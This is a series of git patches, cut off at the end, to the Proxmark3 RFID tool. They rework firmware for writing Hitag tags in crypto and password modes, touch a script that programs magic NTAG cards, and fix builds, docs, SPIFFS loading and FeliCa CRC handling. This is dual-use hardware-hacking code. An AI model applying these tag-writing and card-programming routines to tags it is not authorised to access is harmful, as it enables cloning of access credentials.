+++++++++++++++++++++++++----------------------- 1 file changed, 195 insertions(+), 179 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 0e56918a5..6efe5808d 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1566,8 +1566,8 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); // TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 -// command_start = response_start + response_duration; - command_start = 0; + command_start = response_start + response_duration; +// command_start = 0; // Dbhexdump(nbytes(rxlen), rx, false); } } @@ -1590,25 +1590,35 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { StopTicks(); - // int frame_count = 0; - int response = 0; + int frame_count = 0; + uint32_t command_start = 0; + uint32_t command_duration = 0; + uint32_t response_start = 0; + uint32_t response_duration = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit; - int reset_sof; - int t_wait = HITAG_T_WAIT_MAX; - bool bStop; + int t_wait_1; + int t_wait_1_guard = 8; + int t_wait_2; + size_t tag_size; + bool bStop = false; - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - set_tracing(true); - clear_trace(); + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; // Reset the return status bSuccessful = false; + bCrypto = false; + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting Hitag writer family"); + // Check configuration switch (htf) { case WHT2F_CRYPTO: { @@ -1642,221 +1652,227 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { } LED_D_ON(); + hitag2_init(); - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK - | AT91C_TC_ETRGEDG_FALLING - | AT91C_TC_ABETRG - | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - while (AT91C_BASE_TC0->TC_CV > 0) {}; - - // Reset the received frame, frame count and timing info - lastbit = 1; - bStop = false; - + // init as reader + lf_init(true); + // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + /*tag_size = 256;*/ + flipped_bit = 0; + tag_size = 8; + DbpString("Configured for hitagS writer"); } else if (htf < 20) { - // hitag1 settings - reset_sof = 1; - t_wait = 200; + // hitag1 settings + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DbpString("Configured for hitag1 writer"); } else if (htf < 30) { - // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2_MIN; + // hitag2 settings + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; + tag_size = 48; + DbpString("Configured for hitag2 writer"); } else { - Dbprintf("Error, unknown hitag reader type: %d", htf); + Dbprintf("Error, unknown hitag writer type: %d", htf); return; } + uint8_t tag_modulation; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; + while (!bStop && !BUTTON_PRESS() && !data_available()) { WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); - } - // By default reset the transmission buffer tx = txbuf; switch (htf) { case WHT2F_CRYPTO: { bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, true); + break; } - break; case WHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, true); + break; } - break; default: { Dbprintf("Error, unknown function: %d", htf); - return; + goto out; } - break; } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occurred halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); + + response_start = command_start + command_duration; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - t_wait_1_guard); + response_start += t_wait_1 - t_wait_1_guard; - // Add transmitted frame to total count + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response_start += periods - 16; + response_duration = response_start; + } else { + // Register the number of periods that have passed + response_start += periods; + response_duration = response_start; + } + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + //Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + break; + } + } + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + tag_modulation ^= 1; + } else { + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + //Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Wait some extra time for flash to be programmed + // + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { - // frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2_MIN, HITAG_T_WAIT_2_MIN, NULL, true); + frame_count++; + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < HITAG_T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / HITAG_T0); + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //Dbprintf("DEBUG: Wierd1"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Dbprintf("DEBUG: Wierd2"); - errorCount++; - // Ignore wierd value, is to small to mean anything - } - } - // if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > HITAG_T0 * HITAG_T_EOF) { - if (rxlen > 0) break; - } + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; } - // Wait some extra time for flash to be programmed - if ((rxlen == 0) && (writestate == WRITE_STATE_PROG)) { - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (HITAG_T_PROG - HITAG_T_WAIT_MAX)); + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + break; + } else { + size_t i; + for (i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; + } + } + if (i < 5) break; + } + + // Pack the response into a byte array + for (size_t i = 5; i < nrzs; i++) { + uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + break; + } + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + command_start = 0; } } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; +out: + lf_finalize(); + Dbprintf("TX/RX frames recorded: %u", frame_count); + // release allocated memory from BigBuff. + BigBuf_free(); StartTicks(); - - reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); } From fc007554ef3c5d0749e45855fab359e985621e01 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 20 Jan 2020 23:12:11 +0100 Subject: [PATCH 352/418] Fix compilation under openSUSE, thanks @hsanjuan. Fixes #529 --- CHANGELOG.md | 1 + common_arm/Makefile.common | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 06d3005be..f0b0e3c6f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Fix compilation under openSUSE (@hsanjuan) - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index 36887707c..be5d2a847 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -42,7 +42,7 @@ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/confi CFLAGS ?= -Wall -Werror -pedantic -Wunused -Os -mthumb-interwork CFLAGS += -c $(INCLUDE) -std=c99 $(APP_CFLAGS) -LDFLAGS += -nostartfiles -nodefaultlibs -Wl,-gc-sections -n +LDFLAGS += -nostartfiles -nodefaultlibs -Wl,-gc-sections -Wl,--build-id=none -n LIBS = -lgcc # Flags to generate temporary dependency files From 875ad69aee6c770bbeb4a5f6890dca4d8d663738 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 20 Jan 2020 23:13:05 +0100 Subject: [PATCH 353/418] Add installation instructions for openSUSE --- .../Linux-Installation-Instructions.md | 20 ++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index d56d1056c..30d4fbf54 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -28,27 +28,33 @@ sudo apt-get install --no-install-recommends git ca-certificates build-essential libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev ``` -If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qtbase5-dev`. If you get some (non blocking) error at runtime such as _Gtk-Message: Failed to load module "canberra-gtk-module"_ you may have to install `libcanberra-gtk-module`. ## On ArchLinux ```sh -sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib git --needed -``` -If you want graphical output (such as in `hw tune`): -```sh -sudo pacman -Su qt5-base +sudo pacman -Sy git base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib qt5-base --needed ``` +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qt5-base`. + ## On Fedora ```sh sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic ``` -If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qt5-qtbase-devel`. +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qt5-qtbase-devel`. + +## On openSUSE + +```sh +sudo zypper install git patterns-devel-base-devel_basis gcc-c++ readline-devel cross-arm-none-gcc9 cross-arm-none-newlib-devel +``` + +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `libqt5-qtbase-devel`. # Clone the RRG/Iceman repository From 06e7777deb11e7c45a51797eb8022a12e471896a Mon Sep 17 00:00:00 2001 From: Iceman Date: Tue, 21 Jan 2020 14:56:22 +0100 Subject: [PATCH 354/418] Update mfu_magic.lua wrong define used. --- client/luascripts/mfu_magic.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/luascripts/mfu_magic.lua b/client/luascripts/mfu_magic.lua index d8eff1f40..badc691c5 100644 --- a/client/luascripts/mfu_magic.lua +++ b/client/luascripts/mfu_magic.lua @@ -11,7 +11,7 @@ local err_lock = 'use -k or change cfg0 block' copyright = 'Copyright (c) 2017 IceSQL AB. All rights reserved.' author = 'Christian Herrmann' -version = 'v1.1.1' +version = 'v1.1.2' desc = 'This script enables easy programming of a MAGIC NTAG 21* card' example = [[ @@ -125,7 +125,7 @@ local function sendRaw(rawdata, options) + lib14a.ISO14A_COMMAND.ISO14A_RAW + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC - local c = Command:newMIX{cmd = cmds.CMD_READER_ISO_14443a, + local c = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, arg1 = flags, -- arg2 contains the length, which is half the length of the ASCII-string rawdata arg2 = string.len(rawdata)/2, From 15b4b198b02cc4a9b06071e9a99a397f3e93ac96 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 21 Jan 2020 15:22:36 +0100 Subject: [PATCH 355/418] chg: 'lf search' - now always check for HITAG --- client/cmdlf.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/client/cmdlf.c b/client/cmdlf.c index 3fee78735..617d87c0e 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -1213,17 +1213,18 @@ int CmdLFfind(const char *Cmd) { // only run these tests if device is online if (isOnline) { + + if (IfPm3Hitag()) { + if (readHitagUid()) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!"); + return PM3_SUCCESS; + } + } + // only run if graphbuffer is just noise as it should be for hitag // The improved noise detection will find Cotag. if (getSignalProperties()->isnoise) { - if (IfPm3Hitag()) { - if (readHitagUid()) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!"); - return PM3_SUCCESS; - } - } - if (readMotorolaUid()) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); return PM3_SUCCESS; From 5a33dca1a3399b288f35bca2de3c67e439f11144 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 21 Jan 2020 15:25:40 +0100 Subject: [PATCH 356/418] chg: spiffs load - broke out load --- client/cmdflashmemspiffs.c | 129 ++++++++++++++++++++----------------- client/cmdflashmemspiffs.h | 1 + 2 files changed, 70 insertions(+), 60 deletions(-) diff --git a/client/cmdflashmemspiffs.c b/client/cmdflashmemspiffs.c index 492fc0bcc..5d003bd2c 100644 --- a/client/cmdflashmemspiffs.c +++ b/client/cmdflashmemspiffs.c @@ -314,11 +314,69 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { return PM3_SUCCESS; } +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) { + + int ret_val = PM3_SUCCESS; + + // We want to mount before multiple operation so the lazy writes/append will not + // trigger a mount + umount each loop iteration (lazy ops device side) + SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); + + // Send to device + uint32_t bytes_sent = 0; + uint32_t bytes_remaining = datalen; + uint32_t append = 0; + + // fast push mode + conn.block_after_ACK = true; + + while (bytes_remaining > 0) { + uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); + + clearCommandBuffer(); + + char fdata[32 + bytes_in_packet]; + memset(fdata, 0, sizeof(fdata)); + memcpy(fdata, destfn, 32); + memcpy(fdata + 32, data + bytes_sent, bytes_in_packet); + + if (bytes_sent > 0) + append = 1; + + SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet); + + bytes_remaining -= bytes_in_packet; + bytes_sent += bytes_in_packet; + + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + ret_val = PM3_ETIMEOUT; + break; + } + + uint8_t isok = resp.oldarg[0] & 0xFF; + if (!isok) { + PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); + ret_val = PM3_EFLASH; + break; + } + } + + // turn off fast push mode + conn.block_after_ACK = false; + + // We want to unmount after these to set things back to normal but more than this + // unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory + SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); + + return ret_val; +} + static int CmdFlashMemSpiFFSLoad(const char *Cmd) { - uint32_t append = 0; char filename[FILE_PATH_SIZE] = {0}; - char destfilename[32] = {0}; + uint8_t destfilename[32] = {0}; bool errors = false; uint8_t cmdp = 0; @@ -334,8 +392,8 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) { cmdp += 2; break; case 'o': - param_getstr(Cmd, cmdp + 1, destfilename, 32); - if (strlen(destfilename) == 0) { + param_getstr(Cmd, cmdp + 1, (char*)destfilename, 32); + if (strlen((char*)destfilename) == 0) { PrintAndLogEx(FAILED, "Destination Filename missing or invalid"); errors = true; } @@ -362,63 +420,14 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) { return PM3_EFILE; } - // We want to mount before multiple operation so the lazy writes/append will not - // trigger a mount + umount each loop iteration (lazy ops device side) - SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); - - // Send to device - uint32_t bytes_sent = 0; - uint32_t bytes_remaining = datalen; - - // fast push mode - conn.block_after_ACK = true; - - // SendCommandMIX(CMD_SPIFFS_COPY, 0, 0, 0, (uint8_t *)data, 65); - - while (bytes_remaining > 0) { - uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); - - clearCommandBuffer(); - - char fdata[32 + bytes_in_packet]; - memset(fdata, 0, sizeof(fdata)); - memcpy(fdata, destfilename, 32); - memcpy(fdata + 32, data + bytes_sent, bytes_in_packet); - // sprintf(fdata, "%s%s", destfilename, data + bytes_sent); - - if (bytes_sent > 0) - append = 1; - - SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet); - - bytes_remaining -= bytes_in_packet; - bytes_sent += bytes_in_packet; - - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - conn.block_after_ACK = false; - free(data); - return PM3_ETIMEOUT; - } - - uint8_t isok = resp.oldarg[0] & 0xFF; - if (!isok) { - conn.block_after_ACK = false; - PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); - free(data); - return PM3_EFLASH; - } - } - - conn.block_after_ACK = false; + res = flashmem_spiffs_load(destfilename, data, datalen); + free(data); - PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename); - - // We want to unmount after these to set things back to normal but more than this - // unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory - SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); - return PM3_SUCCESS; + + if ( res == PM3_SUCCESS ) + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename); + + return res; } static command_t CommandTable[] = { diff --git a/client/cmdflashmemspiffs.h b/client/cmdflashmemspiffs.h index d2dee17ab..9324a541b 100644 --- a/client/cmdflashmemspiffs.h +++ b/client/cmdflashmemspiffs.h @@ -14,5 +14,6 @@ #include "common.h" int CmdFlashMemSpiFFS(const char *Cmd); +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen); #endif From 35131a52c9d1e0d6664786115206ce4db82c8c11 Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Tue, 21 Jan 2020 18:07:18 +0100 Subject: [PATCH 357/418] Fix FeliCa Light Dump function --- armsrc/felica.c | 19 ++++++++----------- client/cmdhffelica.c | 21 ++++++++++----------- 2 files changed, 18 insertions(+), 22 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index d42640532..b1e0253a2 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -26,9 +26,7 @@ #ifndef DELAY_ARM2AIR_AS_READER #define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209 #endif - -// CRC skips two first sync bits in data buffer -#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3) +#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static uint32_t felica_timeout; static uint32_t felica_nexttransfertime; @@ -285,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 8-byte IDm, number of blocks, blocks numbers // number of blocks limited to 4 for FelicaLite(S) static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { - if (blocknum > 4 || blocknum <= 0) Dbprintf("Invalid number of blocks, %d != 4", blocknum); uint8_t c = 0, i = 0; + // Sync bytes frameSpace[c++] = 0xb2; frameSpace[c++] = 0x4d; @@ -333,7 +331,8 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { //set length frameSpace[2] = c - 2; - AddCrc(frameSpace, c - 2); + //Add CRC + AddCrc(frameSpace + 2, c - 2); } static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { @@ -753,28 +752,26 @@ void felica_dump_lite_s() { uint8_t *dest = BigBuf_get_addr(); while (!BUTTON_PRESS() && !data_available()) { - WDT_HIT(); - // polling? //TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0); TransmitFor18092_AsReader(poll, 10, NULL, 1, 0); if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) { - // copy 8bytes to ndef. memcpy(ndef, FelicaFrame.framebytes + 4, 8); // for (c=0; c < 8; c++) // ndef[c] = FelicaFrame.framebytes[c+4]; for (blknum = 0; blknum < ARRAYLEN(liteblks);) { - // block to read. BuildFliteRdblk(ndef, 1, &liteblks[blknum]); //TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0); - TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); + + + TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); // read block if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) { @@ -803,11 +800,11 @@ void felica_dump_lite_s() { } } } + isOK = true; break; } } - switch_off(); //Resetting Frame mode (First set in fpgaloader.c) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 94f5c2ca4..84339a05c 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -585,7 +585,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { return usage_hf_felica_authentication1(); } - PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND"); + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); uint8_t data[PM3_CMD_DATA_SIZE]; bool custom_IDm = false; strip_cmds(Cmd); @@ -731,6 +731,7 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { if (strlen(Cmd) < 2) { return usage_hf_felica_authentication2(); } + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND - M2c/P2c will be not checked"); uint8_t data[PM3_CMD_DATA_SIZE]; bool custom_IDm = false; @@ -978,7 +979,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { if (long_block_numbers) { last_block_number = 0xFFFF; } - PrintAndLogEx(INFO, "Block Element\t| Data "); + PrintAndLogEx(INFO, "Block Nr.\t| Data "); for (i = 0x00; i < last_block_number; i++) { data[15] = i; AddCrc(data, datalen); @@ -987,8 +988,6 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { if ((send_rd_unencrypted(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { if 